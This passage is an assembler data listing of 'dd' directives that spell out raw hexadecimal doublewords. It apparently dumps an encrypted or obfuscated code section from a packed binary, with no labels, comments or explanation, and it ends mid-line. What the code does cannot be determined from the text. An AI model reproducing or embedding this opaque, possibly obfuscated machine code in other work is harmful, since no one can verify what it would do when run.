dd 6BA781C3h, 0FC8E9AB1h, 9192C514h, 593493h, 0C7E1633Ch dd 0C781C0C6h, 2D354F32h, 6C88620Fh, 0E71E409Fh, 0F7334F71h dd 352DD898h, 59881531h, 0D03B0D52h, 3596324Eh, 1F486EE6h dd 8AFDAC90h, 0DCD7598Dh, 12F641A9h, 13E22B5Ch, 28B789CCh dd 0F4D7F16Dh, 3BD0A36Ah, 0E8683E02h, 0ACB5D2CEh, 5E031C98h dd 0BB9EFD6Ah, 2A710485h, 0CBB51630h, 0DDC86E52h, 953EA904h dd 0B2CD3C60h, 1F9BADh, 3F365540h, 0A2ACB219h, 94EBC008h dd 6A41DD7Dh, 0EBC0DB66h, 92F2694h, 0C1FB5FA2h, 0E3C8EE66h dd 984F3308h, 0BAE8DC65h, 7D96D9B0h, 8154h, 0A79EFD00h dd 3B142A81h, 0E2E82123h, 0AE1C781h, 1E174847h, 0EBC078F2h dd 0F10D0D94h, 0B85041Ah, 94EBC07Fh, 0C59AF950h, 97162883h dd 0B9E49A6Eh, 0D732F650h, 55096660h, 531FBA73h, 0B7D9771h dd 1, 0EADA81D7h, 62A7BA01h, 5EADC9FFh, 49574003h, 94EBC0A7h dd 0C32844DAh, 594D31CAh, 0F695C202h, 0F38F5C62h, 0BCDB443Ah dd 3B47A49Eh, 0CBC2E45Ch, 4D9ABCB4h, 68E1D25Eh, 1099027Ch dd 0D9812EB2h, 0A2B904E7h, 45FE49A2h, 0D0352D81h, 0E31FBB8Dh dd 1EACC84h, 4BA0A6BAh, 2CD2B64Fh, 0C0F97381h, 1E0094EBh dd 58E3648Ch, 5851C932h, 96E44531h, 75F97Dh, 81E50000h dd 26C8D4D9h, 5B94EBC0h, 0FD40ABC7h, 818A6167h, 381E9468h dd 0F56D8A06h, 0C98A8300h, 0E9C3AC90h, 89D672E6h, 9E6D4B0Ah dd 1303B780h, 0F9435C4Bh, 271E7D30h, 3D4BD601h, 94EBBDB3h dd 19EF58C6h, 0FFD93933h, 0DEB84B42h, 3E085231h, 0A35C4DEDh dd 0DAC7B3DFh, 327F7D97h, 5B000000h, 4E7D981h, 4F9CA0B9h dd 0B7FBCF64h, 534E99A3h, 49D13A0Eh, 81FEE240h, 0E2E29DAh dd 26B319F2h, 0F94EBC0h, 0CAA4D2B6h, 727D96D9h, 1, 0E5DB815Ch dd 0AB5C4B06h, 466169D2h, 0BD9BDDBAh, 1533354Ch, 0D0F46BB6h dd 8AACA4FBh, 11F54E21h, 0D5A9AC5Eh, 2AB58BD1h, 0F450FE7Fh dd 3319372Bh, 8763CCCEh, 390357F0h, 0F9304CD2h, 0BFB40405h dd 0D9810410h, 5DE88AC6h, 3F38BD4Fh, 8C715C6Dh, 6A77D0Fh dd 8164A5B5h, 701F3299h, 3F1FCA64h, 6AA3BF6Dh, 0BF7B5D17h dd 0E5C6E060h, 3F1F5BE7h, 4539326Dh, 96C1E761h, 0AE5F79FBh dd 0FBDD97F0h, 7E8BCD10h, 298E80F4h, 0B31CB869h, 0CAFB7924h dd 5A90B9B7h, 3FE8E28Ch, 28B976Dh, 102A2C73h, 0CEF064BBh dd 2C1029FDh, 3C6BE645h, 67FE6160h, 0CE77B621h, 9ABCB4FAh dd 0B1ED791Eh, 0E91776Bh, 0B6000001h, 6CBF99DBh, 6FBFDBD2h dd 7785D21Fh, 8AC6DE72h, 0F3DEDE0Dh, 2C5161BCh, 6CE43B90h dd 37314E4Ah, 0ED67BA11h, 0BA91E0CBh, 66457FDFh, 5428D1D8h dd 0C4C0E65Eh, 6AFC97D3h, 444F77h, 6F8B0000h, 0F984D320h dd 0A83C59Ah, 0EBC08486h, 4AA1B914h, 0EEC88807h, 0C01F913Fh dd 0B65914EBh, 4EBF99DBh, 0E453F1D5h, 0DA34408Fh, 0EF94EBC0h dd 0B1B9E473h, 0ECD08989h, 0F434031Fh, 0A2008927h, 8CB1h dd 1F6FA100h, 3A7785D2h, 558AC6DBh, 0D99BE6C5h, 72EADC2Ch dd 0DEB91990h, 0D46A4167h, 21237CB8h, 9B28A407h, 6A6D3FFAh dd 0A3FECDEBh, 1ABB9BEh, 746D3FE4h, 0A97D4EEAh, 0EAF6AC90h dd 6D3FE440h, 3A892535h, 0EF693D01h, 0EC5CCDC9h, 0CA4C5887h dd 0FF730E08h, 33358863h, 49C6B615h, 5532144Ah, 4DED3E0Eh dd 3BDFA35Ch, 25BA6F4Ch, 535AFBE9h, 66DE52A2h, 37CB6573h dd 0A0BE674Eh, 0D07FE804h, 6E9FA9B5h, 7FDBA062h, 79B5A579h dd 0D21F6F65h, 0C98A1685h, 0BE71E7A0h, 52B4C04Fh, 778ADA46h dd 0BBBD00EBh, 8F47329Dh, 0A725F87h, 1B742AE3h, 20AC7F59h dd 274E453Ah, 0AA00C47Dh, 0F7108CAAh, 910C5B7Dh, 6538F1D7h dd 90B4ABE6h, 694F0619h, 20043F82h, 0D8E274CBh, 0C7BBA0F3h dd 8F73EA20h, 9BBC591Bh, 0E2C9FF62h, 57EBC05Ch, 0F301AC3Bh dd 2B365979h, 279B120Ch, 5DAE88C8h, 130Ah, 0F15EEC00h dd 63B3C82h, 0C7B06221h, 6FDA0A14h, 0FB9F0E1Dh, 3E8DC81h dd 49A284BCh, 705B6DF2h, 0B417312Dh, 0FCCFF169h, 2487B9A1h dd 6DBE9ED9h, 97744A0Eh, 0D8331548h, 1E426808h, 2C890000h dd 0E1895124h, 4C181h, 0E9830000h, 240C8704h, 2414895Ch dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 0BA241C89h, 50E747D4h dd 70F9BF57h, 0FA09605Fh, 1DC2815Fh, 54952F5Ch, 81241C8Bh dd 4C4h, 0BE565200h, 34C71E70h, 4247431h, 8438F5Eh, 70087381h dd 8B34C71Eh, 8956241Ch, 4C681E6h, 83000000h, 348704C6h dd 148B5C24h, 0E0895024h, 405h, 40500h, 4870000h, 79E95C24h dd 0BBFFFCA6h, 0B8E06C55h, 62ED8B1h, 0E0FFC503h, 540E15Dh dd 37AFAD9Dh, 344429D9h, 71F27D59h, 7ECDC763h, 15E675F7h dd 241B10AEh, 4A20A724h, 765CBEEh, 89491D2h, 304E90FFh dd 2C9F422h, 6AC18Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 0F6DABC3h, 4EBF7B7h, 0 dd 0FF8BF0Fh, 0E8Fh, 9E900h, 77E20000h, 4F0DD866h, 0E87996EBh dd 14h, 32E88FE5h, 69137C67h, 696BA6B3h, 7074199Bh, 0F4951B03h dd 2401BD89h, 8D5F062Bh, 2B2FC185h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 8A266E4Eh dd 359F5E63h, 0DDBD01ABh, 0F062B16h, 884h, 8D295600h, 62B09C1h dd 9050905Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 47C35242h, 1D95893Ah, 6A062B1Bh, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0BEA34391h, 85521A62h, 0BD8B734Fh, 62B1F09h, 858D006Ah dd 62EDBF3h, 83F8BF0Fh, 6A05C0h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 5FA085C3h, 820F50AEh dd 0Ah, 46B3BE60h, 8B665D8Fh, 48961CAh, 56006A24h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 6137C2E0h, 89D1365Ch, 2B09C185h, 0F006A06h, 6AF6BFh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0A2C35040h dd 0F9C712F4h, 83EB0A17h, 0BCE732BEh, 0EE85615h, 0E9000000h dd 45F1068Bh, 0AF2D24C3h, 4EFE3E74h, 1BD8BCAh, 5F062B01h dd 0E195FF5Fh, 6A062B34h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 9190C350h, 0DB84E4B2h dd 0AE9B2h, 0E8040000h, 0DDF85151h, 24C907FFh, 0A6AA9D8Dh dd 6A062Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0FD89E6C3h, 5ECE1D73h, 291BD8Bh, 0BE9062Bh dd 0F6000000h, 22884CB1h, 4B9CEBCDh, 0D3FF3583h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 9CC35545h, 19F47F6Bh dd 4934891Fh, 0FFF98B2Ah, 2B1E0D85h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 60FB2EA5h dd 2860Fh, 59500000h, 2ABD8D89h, 0E961062Bh, 0CB4h, 0E8h dd 0ED815D00h, 62EDBFDh, 708ABF66h, 2909BD81h, 7D0062Bh dd 860F0000h, 0F9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0AEC35040h, 599D8B5Ah, 66062B1Fh, 7CD9D781h dd 100E381h, 0BD290000h, 62B2CC9h, 850FDB0Bh, 57h, 0DF83BF66h dd 0D9A0BD83h, 0F00062Eh, 0B84h, 6BE900h, 0BD890000h, 62B2B4Dh dd 0D9A085C7h, 1062Eh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 0FE09EBC3h, 3A90A9E7h dd 9269F2BEh, 2FE911h, 33BE0000h, 0C740526Ch, 2ED9A085h dd 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 0CD94700Fh, 599D8D9Dh, 51062B1Fh dd 0D82FCF81h, 815F54C4h, 0FFFEFF23h, 53006AFFh, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0B28C7AABh, 8B363211h, 2B1649BDh, 0DB8C6606h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 8DC35545h, 3D5389E4h dd 0F04C3F6h, 6584h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 62339350h, 8B1A1EFDh dd 2B2169B5h, 0FFF88B06h, 2B356995h, 67BE6606h, 0BE6690DAh dd 60502021h, 61FE8B66h, 51006A90h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0C4AED767h, 688288ACh dd 0EDE9169Ch, 60000003h, 34E58D01h, 850F062Bh, 0 dd 6A00B061h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0F58DC353h, 35819D89h, 70E6062Bh dd 9D8B6057h, 62B2B11h, 5F6157B3h, 6A71E4h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0ECF67BC3h dd 8B971045h, 2B0509B5h, 0D8B60F06h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 88C35646h, 5239227Ch, 0B533BF22h dd 62B2C85h, 6BAh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 8BFD3C2Ah, 2B0209B5h dd 29C38B06h, 2B009185h, 4E8C106h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0A8C35040h, 70B744E9h, 0B58BFFECh dd 62B0E7Dh, 6AE2F766h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 958CC353h, 9D89D82Bh dd 62B1B99h, 89F08B50h, 6A241Ch, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0A7F371C3h, 0B5FF3B3Fh dd 62B2909h, 0C830Fh, 8E0F0000h, 6, 2A718509h, 95FF062Bh dd 62B2945h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 17C35040h, 0B0A893h, 0E6FE8B66h, 53006A70h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 79947C5Ah, 0EE22BF66h, 13E9FB8Bh, 1D000000h, 1C40C24Bh dd 0F7A30A5Fh, 3A468D6Eh, 9B5A6402h, 71E427D0h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 16C35747h, 318BB24Eh dd 3CF0BF0Fh, 1830F61h, 1000002h, 2B2B41BDh, 0D8B60F06h dd 0F5B58B60h, 89062B26h, 2B27358Dh, 6BA6106h, 66000000h dd 0C38BF28Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 0E6C35242h, 0F08B574Ch, 4E8C15Eh, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 14h, 90C35747h, 1661B58Bh dd 0F766062Bh, 0AD9D89E2h, 81062B18h, 57F54CF6h, 6AD82B33h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 81B5C356h, 3EBBBC27h, 0EE9h, 793D4000h, 0BEC9319Ch dd 22EF5C48h, 58FF6CFAh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0CBC35141h, 919B58Bh, 0D82B062Bh, 12A880Fh dd 0BD8B0000h, 62B2A09h, 7B9h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 81F78B3Eh dd 0A480A9DFh, 0C18327h, 32F59D29h, 0D93B062Bh, 0EA860Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 9C7597C3h, 0B17EA9ADh, 66FE3F44h, 66EB7CBEh dd 0C1F6D98Ch, 0A5840F04h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0CB0CC350h dd 0E6CABA60h, 88467B3Bh, 35BD8589h, 95FF062Bh, 62B3569h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 7FC35646h dd 0D0B3B3E4h, 819B002Fh, 0E3CEE2F7h, 95895B6Eh, 62B2F09h dd 8A0FC32Bh, 6, 3031B503h, 343D062Bh, 0F000008h, 2B86h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 9B2C3EB2h, 15E9FE8Bh, 0BE000000h, 380FBD7Eh dd 820FC08Bh, 8, 0F9B50956h, 5E062B0Bh, 0D88BC38Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0E2C35646h, 0C4C03821h dd 0C6E68060h, 2CFD958Bh, 0C761062Bh, 2B0AA185h, 0A12B1F06h dd 56006A7Dh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 0F08B667Ch, 0F08BC08Bh, 2909BD81h, 7D0062Bh dd 850F0000h, 30h, 290985FFh, 0BE8062Bh, 69000000h, 0D29CD68h dd 0A334DB96h, 7E80A79h, 0E6000000h, 6AD008E3h, 8D0F4A39h dd 0 dd 0B5895E5Fh, 62B2AA1h, 2909B5FFh, 6A062Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0C5BFC8C3h dd 0F2185F5h, 8Dh, 4595FF00h, 8B062B29h, 2B1B35BDh, 8E906h dd 48840000h, 0ABB0DB52h, 409006A8h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 77C35646h, 75858915h, 0E8062B35h dd 5, 87B272E4h, 7D9D2970h, 5F062B18h, 28B5BD83h, 0F00062Bh dd 0EA84h, 12E900h, 0EFD50000h, 20D8A3C5h, 0EB73A366h dd 0BB36B68Ah, 0F179C8D8h, 26BDBD83h, 0F00062Bh, 0C684h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 85D1327Ah, 28B595FFh, 8960062Bh, 2B2AB19Dh dd 2D958906h, 61062B17h, 840FC00Bh, 8Bh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 3C35242h, 86EAEE2Ch dd 0A18D8D20h, 6A062B4Eh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 3433C357h, 73BB1FFBh dd 6A20EC03h, 2C11BD29h, 5B8062Bh, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 929FC356h, 8289D57Fh, 2475BD89h, 0E1FF062Bh, 58B0Fh dd 0FEBF0000h, 834F5F32h, 2B06F1BDh, 840F0006h, 4EFh, 7BD8D89h dd 0BD83062Bh, 62B26BDh, 0DC840F00h, 0F000004h, 28Eh, 1F18B00h dd 2B15AD9Dh, 9D8D8D06h, 66062B2Eh, 0F9D81BFh, 1C7F7BFh dd 44B27C84h, 89B860FCh, 8B61FCD2h, 2B264D95h, 1816106h dd 1499CFCBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 81C35343h, 41C79214h, 706B3404h, 50006ACEh, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 11F5335Ch, 81716EB3h, 0D7100441h, 8E931D6h, 39000000h dd 0C4165A41h, 6A5F8E54h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0FE9D60A4h dd 18B0Fh, 8BF50000h, 2B0CB5BDh, 9D858D06h, 8B062B2Eh dd 2B329DBDh, 8B669006h, 0AE950FBh, 34000000h, 81BF2F55h dd 6B32A409h, 6A9085h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 7E9F3C3h, 0AA000000h, 0BED05CBBh dd 0AE9EDF1h, 1E000000h, 8F2BC3F2h, 7613135Eh, 0F195FFA6h dd 29062B06h, 2B0DD19Dh, 9D8D8D06h, 66062B2Eh, 1C7FE8Bh dd 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 38C35242h dd 17B8ACD4h, 48F9FEC3h, 7BBE6631h, 0C1B58BC8h, 0C7062B0Ch dd 441h, 0BD290000h, 62B1C05h, 840FC00Bh, 4Eh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 41C35545h, 8D8D5293h dd 62B4EA1h, 0B0A7DE81h, 7E9470Fh, 0A3000000h, 0D75BC68Fh dd 5B88642h, 0F000000h, 689h, 0FDB52B00h, 0FF062B0Eh, 0EE8166E1h dd 8D8D960Fh, 62B2E9Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 99C35343h, 7867FE89h, 0BD89CD31h, 62B2B5Dh dd 765B589h, 1C7062Bh, 44AA727Ch, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 67C35343h, 11A55943h, 858510C3h dd 58B0FF8h, 66000000h, 0AB5DD781h, 0CFCB0181h, 41C71499h dd 78753C04h, 44181CEh, 31D6D710h, 63D9501h, 0B70F062Bh dd 1006AF1h, 2B05C18Dh, 9D858D06h, 60062B2Eh, 6BC68166h dd 998D8B49h, 61062B01h, 905090F9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0C4C35646h, 0AF493370h, 95FF0090h dd 62B06F1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 55C35040h, 0C225BADDh, 0DC4FA80Ah, 24CE8166h, 9D8D8DBEh dd 0F062B2Eh, 1C7F3BFh, 0 dd 41C7F88Bh, 4, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 731E74CFh, 0EE9F4h, 0E2D10000h dd 0FDEABFF2h, 36A5EC56h, 1B69EBA8h, 840FC00Bh, 52h, 0AE8h dd 0E901D00h, 42A5A6Dh, 6604C927h, 0CE07C781h, 0A18D8D5Fh dd 66062B4Eh, 8607D681h, 5B8h, 55BD0300h, 0FF062B2Fh, 52006AE1h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 98FD8CFBh, 0BE668B52h, 8D8D8B4Eh, 62B2E9Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 89C35545h, 0AEBF1FB7h dd 0C763D538h, 0CA95A501h, 11B58B54h, 81062B1Ch, 99CFCB01h dd 0DD9D8914h, 60062B11h, 8166CA8Ah, 61B072C3h, 690441C7h dd 89CE5F59h, 2B1E95B5h, 4418106h, 31D6D710h, 6AF38Bh dd 27599589h, 858D062Bh, 62B2E9Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0D9C35343h, 0CDBC012Ah, 679BDFD5h dd 269B58Bh, 9E9062Bh, 0F9000000h, 0BD7BA8E6h, 1FB13B44h dd 4FBE6650h, 24048968h, 78F0Fh, 8D0F0000h, 1, 0F195FFF8h dd 8B062B06h, 2B216DBDh, 9D8D8D06h, 6A062B2Eh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 9234C352h, 0DF91E776h, 8B693A27h, 2B1EE5B5h, 1C706h dd 8B000000h, 2B1CEDB5h, 441C706h, 0 dd 840FC00Bh, 6Bh, 0EDBD0353h, 5E062B00h, 4EA18D8Dh, 6A062Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 563BD3C3h, 0B731C262h, 0BE9h, 0C75E1B00h, 571BB5B5h dd 4A4F6674h, 0ABC78166h, 5B8E8h, 0E1FF0000h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 5FC35646h, 380CE47h dd 0F352E9CAh, 8589FFFFh, 62B0269h, 8F0FC18Bh, 3, 0EBF1BF0Fh dd 4, 2880F00h, 8B000000h, 53006AFAh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0E53BD8D4h dd 96550573h, 418D8933h, 8D062B11h, 2B2FC185h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 4E66957Dh, 8954E5C2h, 0B58BA763h, 62B0D6Dh, 68D0Fh dd 0B58B0000h, 62B2195h, 50F98B90h, 51006A90h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 396AD008h dd 0FB8D954Ah, 9E90996h, 57000000h, 3C022227h, 85D46F95h dd 8B66006Ah, 0E8006AFAh, 10h, 0D747EE13h, 0FD27388Eh dd 50B192F1h, 49F6DE0Ah, 5FF1BF0Fh, 0EAFF858Dh, 0B501062Eh dd 62B2FFDh, 0F05C083h, 689h, 2D958900h, 50062B2Eh, 10E960h dd 0E3340000h, 0A46B1316h, 0DB79B2C4h, 53926B91h, 5060085Ch dd 5A310F52h, 10E858h, 19770000h, 61A4B608h, 0EDB43C13h dd 247C8A89h, 61588194h, 24048961h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 5DC35545h, 0B2A909BCh, 129B58Bh dd 9589062Bh, 62B2FDDh, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 7D3364C3h, 79BD8B53h dd 6A062B01h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 8F663470h, 34E195FFh, 6A062Bh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 22B05CC3h, 0D4106CA5h, 0E8F99904h, 0Ah, 0FA23D5F9h dd 80491A83h, 95894504h, 62B0945h, 8DFE8B5Fh, 2EA6AA9Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 65BDE20Ah, 1DFD5BD4h, 79853168h, 0E9062B2Dh dd 6, 0EA613DF8h, 0D3FFEBAFh, 10E857h, 6BDB0000h, 3175AA4Ch dd 0AD5F7540h, 69A43E7Ah, 0D7813DEEh, 2F60CC1Bh, 85FF5F5Fh dd 62B1E0Dh, 0E8816660h, 8D0F1087h, 2, 0E961F18Bh, 78Bh dd 0E8h, 0ED815D00h, 62EEB09h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 0F4C35242h, 1B5DB529h, 0BD81062Bh dd 62B2909h, 7D0h, 184860Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 83D1E8C3h dd 8B2CCE7Bh, 8166EBDBh, 8B5DC1E7h, 2B0B6D9Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 9DBD0A79h, 35A3C79h, 81F28B66h, 0BD824AE7h, 0E38146h dd 8B000001h, 0FDB0BF9h, 0BB85h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 8F7C2357h dd 76D9B019h, 0EF8166DCh, 0BD835ACEh, 62EE8B9h, 34840F00h dd 33000000h, 2B1C35B5h, 0A8E906h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 1361A4C3h dd 89EDB43Ch, 32BF7C8Ah, 0C71499C8h, 2EE8B985h, 106h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 53E9AC42h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0BFD2C356h, 0F9B5030Ah dd 0F52DBA95h, 0E8B985C7h, 62Eh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 3BE6CAC3h dd 2CADB58Bh, 9D8D062Bh, 62B0B6Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 0F8C35141h, 2381ADA8h, 0FFFFFEFFh dd 179B533h, 8C66062Bh, 53006ADBh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 7B759478h, 0C95CA2C8h dd 4C3F6B3h, 28840Fh, 85890000h, 62B1ABDh, 356995FFh, 50F9062Bh dd 6E8h, 0AFE47B00h, 0BE46A905h, 90E4E5Fh, 2404895Eh, 27058D89h dd 90E9062Bh, 6A000003h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0D8DEC355h, 601AC215h dd 4D9D8957h, 59062B2Bh, 31958B60h, 0E9062B33h, 6, 0D4D92EB3h dd 616180DFh, 0B50B00B0h, 62B34A9h, 0B70F70E6h, 6A71E4F7h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 2A64C353h, 0C7044A6Eh, 12E9CBh, 80A30000h dd 0A06DECDEh, 0D4781477h, 4E0D516Ch, 8F52941Fh, 6AD8B60Fh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 0E25CC356h, 19DDB58Bh, 0BE66062Bh, 6BAE009h dd 52000000h, 2725BD8Bh, 8B5E062Bh, 55006AC3h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0F4C1B826h dd 0AAA4BFCBh, 0B50370EFh, 62B19D5h, 0B3C8C781h, 0E8C16F2Bh dd 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0F1B920B1h, 66F6A116h, 0BF0FE2F7h, 0FD82BFBh dd 8Dh, 0BE85000h, 0AB000000h, 99C95256h, 62DDCD54h, 12E9E677h dd 9B000000h, 833724BDh, 24BE0DC1h, 0F2C2FDBEh, 336B005Fh dd 1C895EDAh, 0E1B58B24h, 0FF062B09h, 2B2909B5h, 95FFFC06h dd 62B2945h, 41950950h, 5F062B20h, 23BF00B0h, 6675B711h dd 0E69C75BEh, 6A71E470h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 6037C357h, 2347C780h dd 2B0C31BDh, 613C6106h, 1E9830Fh, 81520000h, 21F116DFh dd 0B60F5E49h, 0FEB70FD8h, 6BAh, 8D0F6000h, 6, 330D9589h dd 0B589062Bh, 62B323Dh, 0C1C38B61h, 6A04E8h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 647844C3h dd 0C409E118h, 9EF68166h, 0E2F7669Ch, 163DBD89h, 0D82B062Bh dd 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0D7D2B64Eh, 770C7F73h, 85BD2960h, 2B062B07h dd 58880FD8h, 0B9000001h, 7, 9344F5BEh, 0AD8D3167h, 83062B15h dd 6A00C1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0D4EF3EC3h, 0F346005h, 184h, 0B589F800h dd 62B1955h, 166D9589h, 0D93B062Bh, 109860Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 417C7DC3h, 0AF115987h, 0BD2952E8h, 62B0B79h, 8F0Fh dd 8C660000h, 79B52BD9h, 0F6062B1Bh, 840F04C1h, 95h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 57C35141h, 446FF16h dd 900E1D33h, 0FFF08BE9h, 2B356995h, 5BFE8B06h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0BDC35747h, 0CE3AFA08h, 0A71673Dh, 81C32B25h dd 151ECCEFh, 8343D6Bh, 860F0000h, 2Dh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Bh, 76C35343h, 77480FDCh dd 0BF98A22Ch, 60A2EF0Dh, 32E9h, 6AC08B00h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0BA9DC352h dd 1D9589E5h, 0F062B1Dh, 681h, 0F5858900h, 8B062B25h, 6AD88BC3h dd 3E85600h, 20000000h, 895EC35Eh, 